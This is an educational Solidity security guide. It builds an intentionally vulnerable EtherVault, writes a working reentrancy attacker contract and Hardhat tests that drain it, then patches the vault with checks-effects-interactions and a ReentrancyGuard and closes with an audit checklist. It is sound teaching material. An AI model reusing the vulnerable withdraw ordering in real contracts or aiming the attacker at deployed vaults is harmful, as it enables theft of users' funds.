Advanced • Security Reentrancy & Checks-Effects-Interactions

Break a vault with reentrancy,
then fix it the right way.

In this advanced security guide you’ll build a vulnerable Ether vault, exploit it in tests, and then harden it using CEI, reentrancy guards, and safer transfer patterns. No fluff — just real exploit mechanics and real fixes.

Level · Advanced
Stack · Hardhat 3, TS, Solidity
Time · ~90 minutes
Focus · Exploit → Patch → Verify
What you’ll build VULNERABLE VAULT
Target EtherVault.sol
Bug class Reentrancy
Exploit Attack.sol
contracts/EtherVault.sol broken withdraw()
function withdraw(uint256 amount) external { require(balances[msg.sender] >= amount); (bool ok,) = msg.sender.call{value: amount}(""); require(ok, "send failed"); balances[msg.sender] -= amount; // <-- too late }

What you’ll learn

Reentrancy is still the #1 real-world exploit class for a reason: it’s simple, sneaky, and devastating when state updates happen after external calls.

  • How a reentrancy loop works at EVM level
  • How to write a minimal vulnerable vault
  • How to craft an attacker contract
  • How to reproduce the bug in Hardhat 3 + TypeScript tests
  • How to fix with CEI and verify via tests
  • When CEI is enough and when you still need guards
This is advanced

You should already be comfortable with Solidity basics, tests, and deployment. We’ll move fast.

Prerequisites
You should be comfortable with:
  • Solidity control flow
  • Hardhat 3 TS projects
  • ethers v6 in tests
  • msg.sender / call / fallback
Nice-to-have:
  • Familiarity with CEI
  • EVM gas basics

Reentrancy in one picture

The core pattern is always the same: contract sends value to attacker before updating state. If attacker can execute code during that send, they can call back into the victim while their balance is still “old”.

🚨 Vulnerable order

Interaction before Effects. External call happens while balances are still unchanged.

✅ Safe order (CEI)

Effects first. Update storage, then call out.

🛡 Guarded order

Even if CEI is missed, a reentrancy lock blocks recursion.

Why does this still happen in 2025? open
  • Developers copy old snippets using call.
  • State updates are split across internal functions.
  • Multiple external calls in one function make order tricky.
  • “Looks safe” ≠ safe: e.g. ERC-777 hooks, fallback proxies.

Project setup (Hardhat 3 + TS)

Create a new folder:

mkdir reentrancy-guide
cd reentrancy-guide
npm init -y

Install Hardhat 3:

npm install --save-dev hardhat

Initialize a TypeScript project:

npx hardhat

Choose “Create a TypeScript project”, install dependencies.

Optional but recommended packages:

npm install @openzeppelin/contracts
npm install --save-dev @nomicfoundation/hardhat-toolbox-ethers dotenv
Clean the template

Delete Lock.sol and Lock.ts — we’ll write our own vault.

Your structure should look like:
.
├─ contracts/
├─ scripts/
├─ test/
├─ hardhat.config.ts
└─ tsconfig.json
Hardhat config

Minimal working config:

// hardhat.config.ts
import { defineConfig } from "hardhat/config";
import "@nomicfoundation/hardhat-toolbox-ethers";

export default defineConfig({
  solidity: "0.8.20",
});

Write a vulnerable Ether vault

Create contracts/EtherVault.sol. This vault lets users deposit ETH and withdraw later. We'll intentionally place the external call before state update.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract EtherVault {
    mapping(address => uint256) public balances;

    event Deposit(address indexed user, uint256 amount);
    event Withdraw(address indexed user, uint256 amount);

    function deposit() external payable {
        require(msg.value > 0, "zero deposit");
        balances[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "insufficient");

        // ❌ INTERACTION first (external call)
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok, "send failed");

        // ❌ EFFECTS last (state update too late)
        balances[msg.sender] -= amount;

        emit Withdraw(msg.sender, amount);
    }

    function vaultBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
Why this is vulnerable

msg.sender.call() gives control to the receiver. If receiver is a contract, its fallback can call withdraw() again before the balance is reduced.

Compile:

npx hardhat compile

Build the attacker contract

Create contracts/VaultAttacker.sol. It deposits some ETH, calls withdraw, and in fallback re-enters until vault is drained.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./EtherVault.sol";

contract VaultAttacker {
    EtherVault public vault;
    address public owner;
    uint256 public reenterAmount;

    constructor(address vaultAddress) {
        vault = EtherVault(vaultAddress);
        owner = msg.sender;
    }

    // start attack by depositing & withdrawing once
    function attack() external payable {
        require(msg.sender == owner, "not owner");
        require(msg.value > 0, "no eth");

        reenterAmount = msg.value;

        vault.deposit{value: msg.value}();
        vault.withdraw(reenterAmount);
    }

    // fallback runs when vault sends ETH
    receive() external payable {
        uint256 vaultBal = address(vault).balance;

        if (vaultBal >= reenterAmount) {
            vault.withdraw(reenterAmount);
        }
    }

    function sweep() external {
        require(msg.sender == owner, "not owner");
        (bool ok,) = owner.call{value: address(this).balance}("");
        require(ok, "sweep failed");
    }

    function attackerBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
Key idea

The attacker’s receive() executes during the victim’s send operation. That’s the “reentrancy window”.

Exploit the vault in TypeScript tests

Create test/reentrancy.ts. We’ll set up: two honest users deposit, attacker drains all.

import { expect } from "chai";
import { ethers } from "hardhat";

describe("Reentrancy exploit walkthrough", function () {
  async function deployFixture() {
    const [deployer, alice, bob, attackerEOA] = await ethers.getSigners();

    const Vault = await ethers.getContractFactory("EtherVault", deployer);
    const vault = await Vault.deploy();
    await vault.waitForDeployment();

    const Attacker = await ethers.getContractFactory("VaultAttacker", attackerEOA);
    const attacker = await Attacker.deploy(await vault.getAddress());
    await attacker.waitForDeployment();

    return { vault, attacker, deployer, alice, bob, attackerEOA };
  }

  it("drains the vault due to reentrancy", async function () {
    const { vault, attacker, alice, bob, attackerEOA } = await deployFixture();

    // Honest deposits
    await vault.connect(alice).deposit({ value: ethers.parseEther("5") });
    await vault.connect(bob).deposit({ value: ethers.parseEther("5") });

    const startVaultBalance = await vault.vaultBalance();
    expect(startVaultBalance).to.equal(ethers.parseEther("10"));

    // Attacker starts with 1 ETH
    await attacker.connect(attackerEOA).attack({ value: ethers.parseEther("1") });

    const endVaultBalance = await vault.vaultBalance();
    const attackerBal = await attacker.attackerBalance();

    // Vault should be empty
    expect(endVaultBalance).to.equal(0n);

    // Attacker stole 10 ETH (honest users) + got back its own 1 ETH reentered repeatedly
    expect(attackerBal).to.be.greaterThan(ethers.parseEther("10"));
  });
});

Run tests:

npx hardhat test
If your test fails

Add logs for balances (vault, attacker, EOAs). Reentrancy bugs are easier to see with numbers.

What exactly happens during the exploit?

Let’s walk slooowly through a single withdraw:

  1. Attacker calls vault.withdraw(1 ETH).
  2. Vault checks balance OK.
  3. Vault sends 1 ETH with call → control jumps to attacker’s receive().
  4. Attacker sees vault still has ETH and calls withdraw() again.
  5. Vault repeats step 2-4 because it still thinks attacker’s balance is unchanged.
  6. Only after recursion ends, original calls resume and update balances, but it’s too late.
Why call() enables this? open

Unlike transfer (2300 gas) or send (same gas limit), call forwards all remaining gas by default. That lets receivers execute arbitrary logic, including calling back.

Is transfer safe then? open

Not really for modern Solidity. Gas costs change (EIP-1884 etc.), so 2300 gas can break receivers and make your contract unusable. Modern best practice is: use call but protect logic with CEI/guards.

Fix #1 — Checks-Effects-Interactions

The simplest correct fix is to update state before any external call. Edit withdraw accordingly:

function withdraw(uint256 amount) external {
    require(balances[msg.sender] >= amount, "insufficient");

    // ✅ EFFECTS first
    balances[msg.sender] -= amount;

    // ✅ INTERACTION last
    (bool ok,) = msg.sender.call{value: amount}("");
    require(ok, "send failed");

    emit Withdraw(msg.sender, amount);
}

Now attacker re-entry fails because their stored balance is already reduced.

CEI is a mindset

Always ask yourself: “Can any external call happen before I lock in critical state?”

Update tests to prove the fix

Modify your test to expect revert or non-drain after CEI fix:

it("no longer drains after CEI fix", async function () {
  const { vault, attacker, alice, bob, attackerEOA } = await deployFixture();

  await vault.connect(alice).deposit({ value: ethers.parseEther("5") });
  await vault.connect(bob).deposit({ value: ethers.parseEther("5") });

  await expect(
    attacker.connect(attackerEOA).attack({ value: ethers.parseEther("1") })
  ).to.be.reverted; // reentrant withdraw breaks

  expect(await vault.vaultBalance()).to.equal(ethers.parseEther("10"));
});

Run tests again.

Fix #2 — ReentrancyGuard (belt + suspenders)

CEI fixes the root bug. But in complex contracts, developers still add a guard as a backstop.

Install OpenZeppelin if not installed:

npm install @openzeppelin/contracts

Then update vault:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract EtherVault is ReentrancyGuard {
    mapping(address => uint256) public balances;

    event Deposit(address indexed user, uint256 amount);
    event Withdraw(address indexed user, uint256 amount);

    function deposit() external payable {
        require(msg.value > 0, "zero deposit");
        balances[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external nonReentrant {
        require(balances[msg.sender] >= amount, "insufficient");

        balances[msg.sender] -= amount;

        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok, "send failed");

        emit Withdraw(msg.sender, amount);
    }

    function vaultBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
What nonReentrant does

It adds a storage lock. If the function is entered again before completion, it reverts immediately.

When CEI is not enough

CEI protects a single function’s ordering. But reentrancy can sneak through:

  • Cross-function reentrancy — attacker re-enters via another public function.
  • External hooks (ERC-777, ERC-1155 receiver callbacks).
  • Proxy / upgrade patterns where logic is distributed.
  • State shared across modules (libraries, facets).
Cross-function example open

If function A updates balance then calls out safely, but attacker re-enters into function B that still relies on “old” assumptions, you’re still toast. This is why guards are common in DeFi.

Extra hardening patterns

1. Pull over push

Instead of pushing ETH immediately, record credits and let users withdraw later. (We already do that.) Never “auto-send” ETH inside loops.

2. Limit reentrancy surface

  • Mark sensitive functions nonReentrant.
  • Make internal helpers private if not needed outside.
  • Split logic: one function changes state, another performs interaction.

3. Use custom errors

error InsufficientBalance();
error SendFailed();

function withdraw(uint256 amount) external nonReentrant {
  if (balances[msg.sender] < amount) revert InsufficientBalance();
  balances[msg.sender] -= amount;
  (bool ok,) = msg.sender.call{value: amount}("");
  if (!ok) revert SendFailed();
}

4. Consider pause switches

If you detect an exploit live, having Pausable can save funds.

Your turn (15-20 min)

Extend EtherVault:

  • Add depositFor(address user) that credits someone else.
  • Add an owner-only emergencyWithdraw(address user).
  • Write tests for both functions.
  • Think about reentrancy implications of the new functions.
Hint

Mark emergencyWithdraw nonReentrant too. Cross-function attacks are the real “advanced” part.

Done? Verify:
  • No test can drain funds
  • CEI respected everywhere
  • Guards on all external withdraw-like calls

Reentrancy audit checklist

  • Any external call (call / transfer / send / ERC hooks) before state update?
  • Any withdraw-like function missing CEI ordering?
  • Multiple external calls in one function? Verify order carefully.
  • Public functions sharing state across modules? Consider cross-function reentrancy.
  • Loops that send ETH/tokens to many users? Prefer pull pattern.
  • Add nonReentrant to critical flows.
Final thought

CEI prevents the bug. Guards prevent surprises. Use both in real protocols.

0% · guide progress
Top
Next